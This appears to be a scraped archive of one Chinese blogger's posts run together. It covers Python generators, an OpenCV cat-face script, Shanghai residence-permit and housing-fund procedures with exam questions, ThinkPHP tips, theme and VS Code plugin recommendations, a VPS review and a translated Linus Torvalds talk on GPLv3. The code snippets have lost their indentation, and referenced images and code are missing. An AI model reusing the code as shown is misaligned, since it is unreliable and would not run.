# 以此类推,但若调用超过1000000次,就会报异常StopIteration
# 计算前1000000个数,通过for循环逐一打印生成数
for x in fibon(1000000):
print(x)
l = [x*2 for x in range(5)] # 列表生成式,4以内整数的2倍数
g = (x*2 for x in range(5)) # 生成器表达式
type(l) # 结果:<type 'list'>
type(g) # 结果:<type 'generator'>
print(l) # 结果:[0,2,4,6,8]
print(g) # 结果:<generator object at 0x000002173F0EBC50>
next(g) # 0
next(g) # 2
next(g) # 4
next(g) # 6
next(g) # 8
next(g) # Traceback (most recent call last): ....StopIteration
for x in g:
print(x, end=' ') # 结果:0 2 4 6 8
import cv2
faceCascade = cv2.CascadeClassifier(r"C:\data\haarcascade_frontalcatface_extended.xml")
img = cv2.imread("cat.jpg")
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMultiScale(
gray,
scaleFactor= 1.02,
minNeighbors=3,
minSize=(50, 50),
flags=cv2.CASCADE_SCALE_IMAGE
)
for (x, y, w, h) in faces:
cv2.rectangle(img, (x, y), (x+w, y+h), (0, 0, 255), 2)
cv2.putText(img,'You get ME',(x,y-7), 1, 1.0, (0, 255, 0), 1, cv2.LINE_AA)
cv2.imshow('beautiful_cat', img)
cv2.imwrite("beautiful_cat.jpg",img)
cv2.waitKey(0)
cv2.destroyAllWindows()
先交代一下这两个月断更的原因,博主迫于生活压力,另谋了一份差事,目前一人干两份工作,事情有点多,每天忙完工作就只想睡觉,我原本每天只需5小时睡眠的,现在来看,5小时都无法保证了,所以断更成了必然。各位博友的催更均以看到,抱歉没有及时回复大家。
今天本文题材是因为娃儿明年该上幼儿园了,根据经验,外地生源在上海上幼儿园需要居住证积分之类的,所以提前把居住证给办了,因为政策有所调整,所以网上并没有合适的办理攻略,博主收集了一些零碎的信息后,就去尝试办理了。
1、2018年1月新政调整最重要的是删除了两个条件,一是不再需要提供劳动合同;二是不再需要提供社保证明。
2、2018年7月新政调整最重要的是房屋租赁合同需要做网签备案。
需要跑三个地方,第一是社区居委会;第二住房租赁服务中心;第三是街镇社区事务受理服务中心。
1、本文介绍的是租赁房屋居住证办理过程,如果是自有房屋居住证办理更简单一些。租赁房屋办理过程需要约房东一起,需要房东提供房产证(不动产权证)和身份证。
2、先去社区居委会咨询办理上海市居住证事宜,他们会告知你所在区的办理流程和材料。主要是咨询一下你所在社区是否对房屋租金有要求。博主今天碰到有个家伙办网签跑了三趟没办成的,就是在社区对租金要求卡住了。为啥有租金要求这个事,后面再说。
3、与房东一起前往你所在区的住房租赁服务中心。嘉定的在平城路1055号1楼人才服务中心那里。到了服务中心先取号(嘉定的号取了没实际作用),然后在旁边自助复印机上复印房东身份证、房产证、承租人身份证,因为后续还需要,建议多复印几份。然后直接在吧台上领取《上海市住房租赁合同网签申请书》,按照模版进行填写。(如图)
注:如果房东房产证上的产权人有多个人的话,还需要同时填写委托书和承诺书。这两个材料吧台上都有。只有一个名字的,这两个就无需填写。另外申请书上如果家人也要一同办理居住证的话在居住使用人栏,填上家人姓名和身份证号。
填写好以后,将材料和对应复印件交与工作人员,他们审核无误后,告知你在旁边等候叫名字。叫到名字的时候,会给你三份网签合同,与房东分别都进行签字。签完后,服务中心当场收走一份,带着另外两份网签合同前往社区居委会。
4、在居委会填写居住证申请表,并提供相关材料复印件。这里需要说明的是,除了承租人以外,家人要办理居住证的还需提供亲属关系证明,例如夫妻提供结婚证,未成年子女需要提供户口本和出生证明。然后根据网签合同上的租金缴纳对应的房屋租赁税(理论上这个属于房东出,不过实际操作中这个都是房客出。这里就提到前面关于租金要求的事了。在社区允许的范围内,和房东约定的租金越低缴纳的税也就越少。年租金3W以内,缴纳3.5%的税。例如月租金1000元,那就需要缴纳420块钱的税)。
5、在居委会办理完成后,带上所有材料前往街道社区事务受理中心。在综合窗口先填一张房屋租赁备案登记申请表,并提供网签合同原件一份和材料复印件。办理完成后会出具房屋租赁备案通知书。
6、带上通知书和之前办理的材料在同一个地方人口管理窗口办理居住登记。办理完成后会出具居住登记凭证。拿到居住登记凭证半年后再到这里来办理卡证。
好了,大致的办理流程就是这样了。博主今天早上顺序颠倒了,先是直接去的房屋租赁服务中心办理的网签,网签办完有直接去了街道社区事务受理中心办理的房屋租赁备案登记,办完后去办理居住登记被告知需要去社区居委会填写申请表。还好在居委会顺利办妥后又跑了一趟街道社区事务受理中心。
这其实又是一篇初级水文,一转眼7月已经到下旬了,看着归档数据上的数字心里有点惊吓。因为博主的前端很菜,菜到需要经常记录函数来帮助自己学习前端。本文应用场景很简单,就是验证码验证失败进行error回跳的时候并没有执行刷新,因为TP5的error方法执行的跳转地址默认是javascript:history.back(-1);
所以,页面并没有刷新,验证码也就没有刷新操作。
通常页面上载入验证码我们是通过这样来实现的:<img src="{:captcha_src()}" onclick="this.src='{:captcha_src()}?'+Math.random()" />,这个时候我们点击验证码会执行onclick函数,刷新验证码。而error回跳并不会执行onclick函数,所以验证码也就无法刷新了。
解决办法也很简单,先写这样一段js函数。
然后把我们的验证码加上id属性id="vcode"
。最后在body中onload一下上面的函数名即可<body onload="refresh()">
。
水完了,捂脸逃。PS,我是标题党,因为这不是TP5的锅。
最近小伙伴们都是异常给力,都在上线自己的主题。此出题作者雨落泪尽,一个不折不扣的大学生,一个未来的教育工作者,一个直来直去的小伙伴。认识他应该也是在进boke112群不久,和另外一个小伙伴沉淀都是在读学生,都是叫我大叔的年纪。雨落这家伙总是想在我这儿占点便宜,却总是被我倒打一耙吃个闷亏。比如他父亲节文章下我的留言。比如我有个不到2岁的女儿,这家伙总说自己还小可以做我女婿,于是将计就计让他先叫声爸爸,哈哈,坑死这家伙。
overflow是一款单栏的自适应typecho主题,简约是其最大的特点。主题自带了常见的必要功能,例如采用aos页面动画库,丝滑享受,你值得拥有。首页文章缩略图,支持随机图片显示(内置24张精选图片)。卡片式友链布局。自带归档页面模板。支持代码高亮等等。
这个主题效果就是雨落泪尽的博客站:https://1000yun.cn/
归档页面效果预览:https://1000yun.cn/archives.html
友情链接效果预览:https://1000yun.cn/links.html
重点是这款主题是免费的,免费的,免费的。一款良心主题收费无可厚非,如果良心主题并且免费的话,你考虑下要不要入手呢?
由于主题作者不知道想了个什么心思,要求给他发邮件,并且还没提供邮箱,我勒个去,咋办?简单,去他网站发个评论,就能收到评论回复邮件了,那就是那小子的邮箱。
家里领导全职带娃了,所以得把她的社保和公积金转移过来,由于我们之前一直没开户,所以最近才来办这个事情。原本想着还挺简单的事情,没想到七搞八搞还挺复杂的,特别是这个公积金平台,原以为最简单,没想到竟然最复杂了。作为新开户的企业,第一次上网操作,竟然要评定操作能力,进行测试,不通过就不能进入系统。考试有两次机会,需要达到80分才能通过。如果两次不通过,就需要参加线下培训,这么忙哪有时间参加线下,所以得看下线上的培训视频。
第一次我匆匆看了下公积金的操作流程就去答题了,没想到竟然只有70分,题目50道,限时1小时,判断和选择题。第二次考试前就想在网上搜这试题和答案了。强大的度娘竟然没找到这类试题,没办法只能硬着头皮火速把培训视频过了一遍。接着就来答题。这次为了保险起见,我把所有试题边做边记录下来了,怕万一再不过要去线下培训就对着这些试题选择性的去听。还好,最终考了86分,通过了。现把试题全部分享出来,如果有需要的同学,请自行去找答案,找到后再去测试。因为我没有做满分,所以也不知道具体哪题做错了,所以我的答案就不贴了。
1\住房公积金年度基数调整,月缴存额的上下限按照年度基数调整的文件规定实施。
2\单位基本住房公积金账户和补充住房公积金账户可以建立在不同的区。
3\单位有员工要办理住房公积金账户的转移,本单位原先在黄浦区缴存住房公积金的,可以在徐汇区办理员工转出手续。
4\单位至单位住房公积金账户所在地的公积金中心管理部为员工办理住房公积金账户封存手续,应提供一式一联的《上海市住房公积金(补充住房公积金)封存清册》和终止劳动关系的证明材料。
5\住房公积金缴存基数年度调整是每年的6-10月份进行的。
6\开户或启封时工资基数输入错误,单位应该办理“年度基数调整”业务。
7\直联汇缴操作完成后,进入“直联业务管理”,若操作结果显示异步交易成功,可选中该条记录,点击“支付结果查询”获取支付结果。
8\单位可通过公积金网上业务办理系统多次为同一职工操作补缴业务。
9\网上下载《上海市住房公积金汇缴变更清册》可以使用。
10\职工已有住房公积金账号在其他单位,可以再新建一个账号。
11\启封时,单位未按规定的工资基数为职工填报住房公积金缴存基数的,可以进行修改。
12\城镇户籍职工与单位终止劳动关系时,单位存在欠缴住房公积金的情况下可以办理集中封存。
13\住房公积金缴存基数按照个人上一年度月平均工资每年调整一次的工作叫住房公积金年度“基数调整”。
14\单位因合并、分立、撤销、破产或者解散而终止的,应当自发生之日起30日内办理账户的注销手续。
15\《上海市住房公积金汇缴变更清册》为一式二联的表单,需要加盖单位公章。
16\住房公积金年度基数调整,如果员工上一年度月平均工资没有变化的,可以不要调整。
17\单位应当至单位住房公积金账户所在地的建行公积金网点办理首次汇缴。
18\员工住房公积金末次汇缴到六月份要离开公司,必须在住房公积金年度基数调整完成以后再办理员工住房公积金账户的相关处理业务。
19\单位为员工补缴12个月之内的住房公积金,可以直接到建行公积金业务网点操作。
20\若单位使用转账支票办理住房公积金的汇缴手续,应该在单位账户所在区的建行公积金业务网点办理。
21\单位为员工补缴住房公积金超过12个月的,以下不需要提供的材料___。
22\单位至单位住房公积金账户所在地建行公积金网点办理汇缴时,若当月公积金汇缴人员没有变动的,单位需要提供___。
23\员工在上海正常缴纳住房公积金以后,原先外地缴纳的公积金可以转移到上海的个人账户中的情况下。本人可以带好 到上海市公积金管理中心业务网点申请通过全国住房公积金异地转移接续平台办理异地转移接续业务。
24\以下哪项信息无法通过单位公积金网上业务办理系统直接完成变更?
25\通过单位公积金网上业务办理系统为职工办理待销户停缴,职工年龄需要到达法定退休年龄,即男性满___,女性满___。
26\以下哪项不是职工查询个人住房公积金账号的渠道?
27\单位为在职职工补缴住房公积金超过十二个月,需要到以下哪个网点审核___。
28\通过单位公积金网上业务办理系统下载职工账户明细信息,最多只能下载到____的单位账户明细信息。
29\职工账户转入补缴单位后___个月以内(从转入之日的次月计算)可申请网上补缴业务。
30\职工住房公积金账户仍在原单位的住房公积金账户内,但原单位已联系不到,如何将职工住房公积金账户转入新单位?
31\全程网页版操作年度住房公积金基数调整,只要是___即时操作成功。
32\单位新进一名职工,该职工账户在“市公积金管理中心住房公积金集中封存专户”,需要为其缴纳当月公积金,应该做什么业务?
33\个人住房公积金账户转移至新单位,新单位应及时办理启封手续,并按规定为职工缴存住房公积金。个人住房公积金账户转移至新单位超过___未启封的,账户自动恢复正常缴存。
34\单位应当于发放工资之日起___内办理住房公积金的汇缴手续。
35\职工与单位终止劳动关系后,职工尚未找新工作,原单位应如何办理业务?
36\职工本月到达法定年龄退休,单位需要操作何业务。
37\公积金月缴存额计算方式为___?
38\如何为没有住房公积金账户的新职工建立个人住房公积金账户?
39\单位5月缴交了4月份的住房公积金,那么在下载职工账户明细信息时时间区间应选择为:
40\住房公积金年度基数调整必须是单位汇缴完当年___月份的住房公积金以后可以操作。
41\住房公积金热线电话号码为_____。
42\单位至单位住房公积金账户所在地建行公积金网点办理汇缴时,若当月公积金汇缴人员有变动时,单位必须提供___。
43\2017年度职工本人和单位住房公积金的缴存比例各是多少?
44\职工从本单位离职,若提供下家单位的住房公积金账号,本单位该为其操作什么业务?
45\单位补充公积金账户的设立,应该在___办理审核。
46\单位经办人至单位住房公积金账户所在地建设银行业务网点为新录用职工办理将职工个人公积金账号从封存专户转移至本单位的手续时,应提供何种材料?
47\通过单位公积金网上业务系统可操作___类型的补缴业务。
48\职工本月离职后去外地工作,以后还准备重新回上海工作,单位该操作何业务。
49\在单位公积金网上业务办理系统中,单位想要查询职工信息应点击?
50\通过单位公积金网上业务系统办理待转出停缴时,停缴期限按月设置,自停缴审核通过之日的次月起计算,停缴期限不超过___。
半个多月没更了,主要是最近确实太忙了,除了项目要做,还有很多杂活要干,这不以前的存量客户都要挨个做公安备案了。外加最近去跑社保和公积金开户的事情,有点跟不上节奏,今天水文是强行逼着自己写的,原本这时候我应该在撸我的系统更新,暂时先放放,水两篇文章再说。在系统升级到TP5.1的时候发现原本使用的场景验证中的重置规则竟然失效了,翻了下手册发现,用法有变,遂记录下来,免得自己忘了。
例如在用户登录和修改信息的时候,使用到密码字段,通过定义password字段为require和min规则,限制password的必填和最小长度。
然后定义两个场景,一个是登陆场景(login),一个是修改场景(edit)。如果在登录控制器中直接使用scene('login')场景,就会出现密码最小长度的验证信息。作为安全角度来说,密码最小长度只在修改时需要,而在登录场景中最好不提示。这时就需要对password的规则在场景中重置。
在5.0中,系统提供直接在场景中使用数组重置规则。如图这样既可。
而在5.1中这个方法却失效了,如果需要重置规则,需要使用按手册上的重新定义一个场景方法。使用场景scene关键字加上场景名为方法名,通过remove或者append方法移除或追加规则。例如本例中的规则可以写成如图所示。
这样就完成了场景规则的重置操作。其实非常简单,主要是5.0升级到5.1的综合代价还是挺大的,因为官方5.0还在维护中,建议系统比较大的,且5.0印记比较深的程序还是别轻易升级到5.1的好。
关于主题作者。狂放小朋友大概是博客群里面为数不多的让我敬佩的对象,小小年纪,各种技术玩的贼溜,认识他的时候应该是我进群不久,发现他似乎各方面都有涉猎。日头一长,竟然发现这是个未成年的小朋友,敬佩之心油然而生。回想一下我同他那个年纪估计还在满世界玩泥巴、掏鸟窝、捉虫子吧。即使是现在,对比之下,狂放小朋友的技术水平也比我高出很多。
1、简洁的设计,优雅的体验
Vmeng采用三色(白+两个蓝+灰白背景)设计,页面简洁不失优雅。懿古今群主之前曾做个测评调查,关于主题选择方面,大多数博客新人毅然选择简洁明了的主题。
2、简便的扩展,强大的功能
作者在主题上开发了扩展函数,可以更简便的为主题扩充功能。这对于有一定开发能力的用户极端友好。
3、神奇的Instantclick,急速的加载体验。
Vmeng将Instantclick.js纳入主题,Instantclick.js预加载不用我说,在你点击切换的时候,程序已经默默为你加载好页面,只为那秒开。当然Instantclick有一定的流量开销,只在流量付费的情况存在。
4、系统小工具,万能百宝箱。
系统集成了一些常用的小工具,诸如短代码、标题导航、主题选项等博客刚需小工具,主题一经启用,它们随时为您服务。同时主题完美支持PHP最新7.2版本,完美使用Ajax翻页及评论,最前沿的环境适配,最畅快的使用体验。
作者正在促销,原定价59元,如今只需39元
。支持支付宝和微信付款。
主题购买及介绍页面:https://blog.iknet.top/post/vmeng.html
主题演示地址:https://vmeng.iknet.top/
关于云+社区:
我的博客即将搬运同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=20tuvjyv6rgkc
最近才用上vs code神器,之前一直是sublime一条道走到黑,前段时间sublime疯狂正版守卫行为,让我的sublime一下子回到了解放前。不得已,只得换,群里大佬安利了vscode。那就这个吧,下载下来,安装,第一件事情就是左下角设置颜色主题:monokai。接着当然是字体定义,之前安利过的Source Code Pro,monokai搭配Source Code Pro,简直黄金搭档,雀巢加伴侣。当然除了这些,插件必不可少,所以就在插件市场一番淘换,找了这么几款,个人觉的还不错,当然这些主要是针对PHP开发者的。
插件名:Sublime Text Keymap and Settings Importer。
评级:五星。
下载量:68W+。
截止目前五星满评,68W次的下载量,对于用惯sublime的用户来说,口碑于实用算是完美兼顾了。
插件名:Composer。
评级:目前暂无评级。
下载量:5W+。
composer作为PHP的包管理器,这简直就是PHP的未来,没有composer的话,PHP拿啥去和别的语言抗衡,世界最好的语言地位怕是不保。
插件名:phpfmt - PHP formatter。
评级:四星半。
下载量:20W+。
代码强迫症的福音。代码洁癖的良药。一键格式化PHP代码,让代码具有更好的可读性,应该是每个程序员的追求。
插件名:Code Runner。
评级:四星半。
下载量:300W+。
这是一个可以直接跑各种语言的插件,几乎涵盖了市面上所有的语言。这么强大,怎么能不用?再看看300W+的下载量,着实在插件库中体量还是很大了。
插件名:PHP Debug。
评级:四星半。
下载量:180W+。
一个撸码的,没有一个好点的debug工具,那还不如直接用记事本敲代码,你说呢?
插件名:VSCode Great Icons。
评级:五星。
下载量:150W+。
这个插件的作用就是用不同的小图标区分不同的文件类型,很直观,墙裂安利。我直接截个图,你们看效果吧(宽度有限,没有截全,这是部分)。
插件名:vscode-database。
评级:四星半。
下载量:18W+。
有时候,实在不想开phpMyAdmin或者Navicat,只想简单连接下测试下增删改查,不想去切换操作,那么有了这个插件就省力了。
插件名:Python。
评级:四星半。
下载量:1200W+。
这个插件其实是PythonDebug,没想到的是,这个插件竟然有1200W+的下载量,可见现在的Python是有多火,要有多火有多火啊,哈哈,小伙伴们,空了Python学起来吧。
插件名:Classic ASP Syntaxes and Snippets。
评级:五星。
下载量:2W+。
这没什么好说的,ASP毕竟落伍的玩意儿了,应该对大多数人来说都没啥用处。
插件名:Chinese (Simplified) Language Pack for Visual Studio Code。
评级:五星。
下载量:64W+。
其实这个我也没搞懂啥情况,最开始是没有的,后来一更新就来了这么个玩意儿,程序原本就有简体中文版。插件说明里面是说这个语言包为 VS Code 提供本地化界面。啥意思没明白,这不还是汉化么,啥区别?
好了,就安利这些了,下次发现好玩的,再补充。
本次学习先回顾了前两天的lambda表达式,使用lambda表达式创建匿名函数。接着学习本次课程的内容:Python的递归。什么是递归,程序调用自身的编程方法叫递归。递归的两个条件,首先是需要调用自身。其次程序能够返回正确的返回值。递归在某些情况下能更简单有效的解决问题,在递归和迭代都能解决问题的情况下,也并非所有的情况都适合使用递归函数。
1、使用迭代方法计算阶乘。
2、使用递归方法计算阶乘
通过上述的例子可以看出,递归调用了函数自身,最后成功返回了结果,显然递归的代码更加优雅。
1、使用迭代方法计算结果。
2、使用递归方法计算结果。
通过上述的例子递归方法更加明确。但此时如果计算的位数持续增加,那么递归的效率将急剧递减,因为递归一层一层的返回数据成倍的增加了运算量,而此时迭代算法反而效率更高,所以在计算类似问题的时候需要综合考量效率和性能。
汉诺塔游戏是一款古老而经典的益智游戏,使用递归算法将很好的指明游戏的具体操作步骤,从而更加快速的通关。
原文链接:Bandwagon Host 搬瓦工 美国洛杉矶CN2线路评测 作者:cokebar 发表于:飞羽博客。
搬瓦工(Bandwagonhost)2017年上线了美国的直连中国线路,分为针对电信专门优化的电信CN2线路(同时联通也是直连);以及稍便宜一点的联通移动直连线路。本人也入手了一个CN2线路的服务器,顺手测试了一下,还是比较不错的。
价格$29.99,购买:
unixbench跑分,磁盘IO还可以,千兆口,网速也不错:
Ping测试(联通稍差)
下载测试(电信):
從 知乎 轉載
和上篇文章一樣,這篇也是來自一個知乎上我回答的問題。
原問題:为什么 Linus Torvalds 不愿意将 Linux 变成 GPLv3 授权?
我的回答:
這裏有段 Linus Torvalds 在 DebConf 14 上的 Q&A: https://youtu.be/1Mg5_gxNXTo?t=47m20s
其中關於 GPLv3 和協議的那一段在47:20開始到57:00左右。 裏面 Linus 對自己的觀點澄清得很清楚了。 看u2b或者聽英語有困難的請留評論,我抽空可以試着翻譯一下。
Q: Do you agree that you undermine GPLv3? and ...
問:你是否同意說你貶低了 GPLv3 ? 以及……
L: Yes
L: 是的
Q: How can we get you to stop?
問:我們如何纔能讓你別這麼做?
L: What?
L: 什麼?
Q: ...How can we get you to stop?
問:……我們如何纔能讓你別這麼做?
L: Oh I hate GPLv3. I undermined it on purpose. I actually thought the GPLv3 extensions were horrible. I understand why people would want to do them but I think it should have been a completely new license.
L: 哦我討厭 GPLv3 ,我是在故意貶低它。實際上我覺得 GPLv3 的擴展非常可怕。 我能理解爲什麼人們想要做這個,但是我覺得它本應是一個全新的協議。
Emm my argument for liking version 2, and I still think version 2 is a great license, was that, "I give you source code, you give me your changes back, we are even." Right? That's my take on GPL version 2, right, it's that simple.
嗯我喜歡版本 2 的那些理由,並且我仍然覺得版本 2 是一個非常棒的協議, 理由是:「我給你源代碼,你給我你對它的修改,我們就扯平了」 對吧?這是我用 GPL 版本 2 的理由,就是這麼簡單。
And version 3 extended that in ways that I personally am really uncomfortable with, namely "I give you source code, that means that if you use that source code, you can't use it on your device unless you follow my rules." And to me that's, that's a violation of everything version 2 stood for. And I understand why the FSF did it because I know what the FSF wants. But to me it's not the same license at all.
然後版本 3 的擴展在某些方面讓我個人覺得非常不舒服,也就是說「我給你源代碼, 這意味着你必須服從我的一些規則,否則你不能把它用在你的設備上。」 對我來說,這是違反了版本 2 協議所追求的所有目的。然而我理解爲什麼 FSF 要這麼做, 因爲我知道 FSF 想要達成什麼,但是對我來說這完全是不同的協議了。
So I was very upset and made it very clear, and this was months before version 3 was actually published. There was a discussion about this long before... There was an earlier version of version 3, years before actually, where I said "No, this is not gonna fly." And during that earlier discussion I had already added to the kernel that, "Hey, I don't have the version 2 or later". And there was no... And I was really happy then when version 3 came out, that I have done that something like 5 years before, because there was ever never any question about what the license for the kernel was.
所以我當時非常不安,並且表明了自己的觀點,並且這是在版本 3 發佈的數月之前。 在那很久之前曾經有過一場討論……在版本 3 之前有一個早期的版本, 事實上幾年之前,那時我就說過:「不,這不可能工作」。 並且在那個早期的討論階段我已經在內核裏寫好了「嘿,我可沒有寫過版本 2 或者更高版本」。所以之後也沒有過(爭議)……隨後版本 3 出來的時候我非常開心, 因爲我早在大概 5 年前做了預防,之後也就再也沒有過關於內核的協議究竟是哪個 版本的討論。
But I actually thought that version 3 is ... Uh, no ... I actually think version 3 is a FINE license, right. I'm a firm believer in, "If you write your code, it is your choice to pick a license." And version 3 is a fine license. Version 3 was not a good ... "Here we give you version 2, and then we tried to sneak in these new rules, and tried to force everybody to upgrade." That was the part I disliked. And the FSF did some really sneaky stuff, downright immoral in my opinion.
不過事實上我覺得版本 3 是……呃不……我事實上覺得版本 3 是個 不錯 的協議, 對吧。我堅定地相信「如果是你寫的代碼,那麼你有權利決定它應該用什麼協議」。 並且版本 3 是個不錯的選擇。版本 3 不好的地方在……「我們給你了版本 2 ,然後我們試圖偷偷混入這些新的規則,並且想逼着所有人都跟着升級」這是我不喜歡版本 3 的地方。並且 FSF 在其中做了很多見不得人的事情,我覺得做得很不道德。
Q: So you are talking about Tivoization?
問:所以你在說 Tivoization 的事情麼?
L: Ehmm, yeah the Tivoization is always my main, eh dislike of version 3. And, the FSF was being very dishonest thing. "Hey, we actually allow you to invalidate the Tivoization clause" and they tried to, they literally lied to people, and say "Hey, so that means that you can use GPLv3 without the Tivoization part", right. This is ... How many people heard this particular statement from the FSF? (Please raise your hands)
L: 沒錯,Tivoization 的事情一直是我反對版本 3 的主要根據。並且,FSF 在這件事上表現得極不誠實。「嘿,其實我們允許你無效化 Tivoization 條款」,這樣他們試圖, 應該說他們是在明白着欺騙別人,並且說「嘿,這意味着你可以使用除去 Tivoization 部分的 GPLv3」。 這很……在場的諸位中有誰從 FSF 那兒聽過這個說法?(請舉手)
Ok, maybe they only tried to convince me with that one. But they did try. And it was like, "I'm not stupid", right. Yes, you can ... The GPLv3 allows you to say "Ok, Tivoization is not an issue for us". But it allows somebody else to take the project, and say "Hey, I ... The GPLv3 without Tivoization is compatible with the full GPLv3, so I will now make my own fork of this, and I will start doing drivers that use the full version of version 3" And where am I stuck then? I am stuck saying "Hey I give you the source code, and now I can't take it back your changes". That's completely against the whole point of the license in the first place.
好吧,或許他們只試過對我用這套說辭,但是他們真的試過。我的反應是「我可不傻」,對吧。是的, 的確你可以…… GPLv3 允許你說「好, Tivoization 的事情對我們來說不是問題」, 但是它同時又允許別人接過這個項目,並且說「嘿,我覺得……去掉了 Tivoization 的 GPLv3 是兼容完整的 GPLv3 的,所以我可以 fork 這個項目,然後我將在自己的 fork 上用完整的 GPLv3 寫驅動。」然後我就囧了。我的困境在於說「嘿,我給了你我的源代碼,現在我卻不能拿回你對它 的修改了」。這是徹底違背了我用這個協議最初的目的了。
So the FSF was, I mean the kind of stuff that was going on behind the scenes, ah, made me once and for all to decide to never had any thing to do with the FSF again. So if you wanted to give money to an organization that does good? Give it to the EFF. The FSF is full of crazy bittered people. That's just mine opinion. Uh, actually I have ... Ah ... I overstated that a bit, right. The FSF has a lot of nice people in it, but some of them are bit too extreme.
所以 FSF 是,我是說那時他們暗地裏做的那些事情,讓我當下決定永遠不再和 FSF 有任何瓜葛。 所以如果你想捐錢給一個行善的組織,那就捐給 EFF 吧。FSF 充滿了瘋狂難處的人。這只是我的觀點。 呃其實我……嗯……我說得有點過分了。FSF 裏有很多不錯的人,不過其中有些人有點過激。
Q: Well I wish the EFF care more about software freedom. But, uh, can you ... Do you think that Tivoization benefits me as a user somehow?
問: 嗯我也希望 EFF 能更多的關注於軟件的自由方面。但是你能……你覺得 Tivoization 這種行爲也能在某種方式上讓我作爲用戶獲益麼?
L: No, no I don't. I mean that ... But that was never my argument. That was not why I selected the GPLv2. This is my whole point. It's not that I think Tivoization is necessarily something that you should strive for. But it is something that in my world view, it's your decision. If you make hardware that locks down the software, that's your decision as a hardware maker. That has no impact on my decision as a software maker to give you the software. Do you see where I am coming from? I don't like the locked down hardware, but at the same time that was never the social contract I intended with Linux.
L: 不,我不覺得。我的意思是……這從來都不是我的論據,這不是我選擇了 GPLv2 的理由。 並不是說我覺得 Tivoization 是某種值得你去爭取的權利,而是說在我的世界觀中,這是你的決定。 如果你生產硬件去鎖住了其中的軟件,這是你作爲一個硬件提供者的決定。 這完全不影響我作爲一個軟件提供者給你軟件的決定。你能看出我的立場在哪兒了麼? 我不喜歡上鎖的硬件,但是同時這也從來不是我想要給 Linux 加上的的社會契約。
To me, umm, I mean, people may or may not realize GPLv2 wasn't even the first license for Linux. To me the important part was always "I give you software, you can do whatever you want with it. If you making improvements, you have to give them back." That was the first version of the license. It also had a completely broken clause which was completely insane and I was stupid. Hey it happened. My origin license says that you can't make money change hands. And that was a mistake. That was clearly just wrong and bad because it really didn't have anything to do with what I wanted. But I was young, I was poor, I didn't realize that the whole money thing wasn't the important part. And I have saw the errors in my ways, I saw the GPLv2 and said "Hey, that's the perfect license". And I saw the GPLv3 and I said "No, that's overreaching a lot, that's not what I wanted". And so I made Linux GPLv2 only, right.
對我來說,呃我想說,大家可能知道或者不知道, GPLv2 並不是 Linux 的最初的協議。 對我來說重要的部分一直是「我給你軟件,你可以用它做任何你想要做的事情。如果你做了任何改進, 你需要把它交還給我。」這是協議最初的樣子。最早的協議還有一條完全錯誤的條款,寫得完全不合理, 那時我很傻。嘿我也傻過。我最初的協議說你不能用它賺錢。這是失策,這明顯是不對的不好的, 因爲它和我真正想要做的事情沒有任何關係。但是那時我很傻很天真, 我沒意識到錢的事情在其中完全不重要。然後我發現了其中的問題,我看到了 GPLv2 然後說「嘿, 這是個完美的協議」。然後我看到了 GPLv3 我說「不,這做得過分了,這不是我想要的」 所以我讓 Linux 成爲了僅限 GPLv2 ,對吧。
Q: So do you think getting the patches back is as useful even if you can't modify the device that it is used on?
問: 所以你是否認爲,即使你不能修改跑着這個軟件的設備,拿回對軟件的修改也還是同樣重要的?
L: Yeah, absolutely. And I mean TiVo itself is actually an example of this. Their patches were kind of crafty but I mean they were basically running on a, originally a fairly standard MIPS thing. And their patches were working around bugs in the chipsets they used. And they were valid patches. The fact that they then felt that their hardware had to be locked down someway. I didn't like it. But as I have mentioned, I felt that that was their decision.
L: 是的,當然。我想說 TiVo 它自己實際上就是一個例子。他們的修改有點複雜,但是我想說他們基本 是,一開始基本是運行在一套相當標準的 MIPS 設備上。然後他們的修改是想繞開他們用到的芯片上的 一些問題,並且這些是合格的修改。之後的事情是他們覺得他們需要鎖住他們的硬件,我不喜歡這個。 但是就像我已經說的,我覺得這是他們的決定。
And they had real reasons for that. That's something people sometimes missed. There are sometimes reasons to do what TiVo did. Sometimes it's imposed on you by, wireless carriers. Sometimes it's imposed on you by Disney. Uh sometimes it's imposed on you by laws. The GPLv3 actually accepts the last one when it comes to things like medical equipment I think. But the point is that the whole Tivoization thing is, sometimes it's, there is a reason for it. And if you make ... I mean I am not a hardware designer. I think FPGA and stuff like that is really cool. But I always ... I mean I really don't want to impose my world view on anybody else. You don't have to use Linux. If you do use Linux, the only thing I asked for is source code back. And there is all these other verbiages in the GPLv2 about exact details, those aren't important. And that was always my standpoint.
並且他們有真正的理由去這麼做。這是有時人們忽視的地方。有時是真的有理由去做 TiVo 他們做的事情。有時強加給你這種限制的是,無線運營商。有時強加給你的是迪士尼。 有時強加給你限制的甚至是法律。 GPLv3 在醫療設備之類的場合其實允許最後一種情況,我記得。 我的觀點是,整個 Tivoization 的事情有時是有理由去這麼做的。如果你生產…… 我是說我不是硬件設計者,我覺得 FPGA 之類的東西很酷,但是我……我的意思是我真的不想把我對世界的 看法強加給別人。你不是非得要用 Linux ,如果你想要用 Linux ,那麼我唯一要求你做的事情是把源代碼(變更)還給我。然後在 GPLv2 中還有很多繁文縟節規定了詳細的細節,這些都不重要。這是我一直以來的觀點。
Q: Ok, well I will stop my non-point of making noise now.
問: 好吧那我就不浪費時間了。
L: I mean don't get me ... I mean I like other licenses too. I have used like the four, emmm... Which BSD license is the acceptable one? One of the BSD license is actually really nice. And it's actually the... What?
L: 我的意思是別誤解……我也喜歡別的協議。我用過……到底是哪個 BSD 協議是可以接受的? 有一個 BSD 協議實際上非常不錯。它實際上是……什麼?
A: ISC
觀衆: ISC
L: ISC? And I actually encourage people who don't care about the giving code back but care about the "Hey, I did something cool, please use it". I encourage people to use the BSD license for that. And I mean the BSD license is wonderful for that. It so happens that I thought that for my project the giving back is equally important so I, for me BSD is bad. But the point is for me. The GPLv3 maybe the perfect license for what you guys want to do. And that's fine. And then it's the license you should use. It's just that when somebody else wrote the code you don't get that choice.
L: ISC?並且事實上我在鼓勵那些不在意拿回修改但是在意「嘿,我做了一個很酷的東西,請用它」。 我鼓勵這些人去用 BSD 協議做這些事情。我想說 BSD 協議在這種場合是完美的。 只是碰巧我覺得對於我的項目,拿回修改也同樣重要,所以對我而言 BSD 不好。但是重點是 對我而言 。 GPLv3 可能對你們想要做的事情而言是完美的協議,這很好,並且這時你就應該去用 GPLv3 。只是當代碼是別人寫的時候,你沒有這個選擇權。
從 知乎 轉載
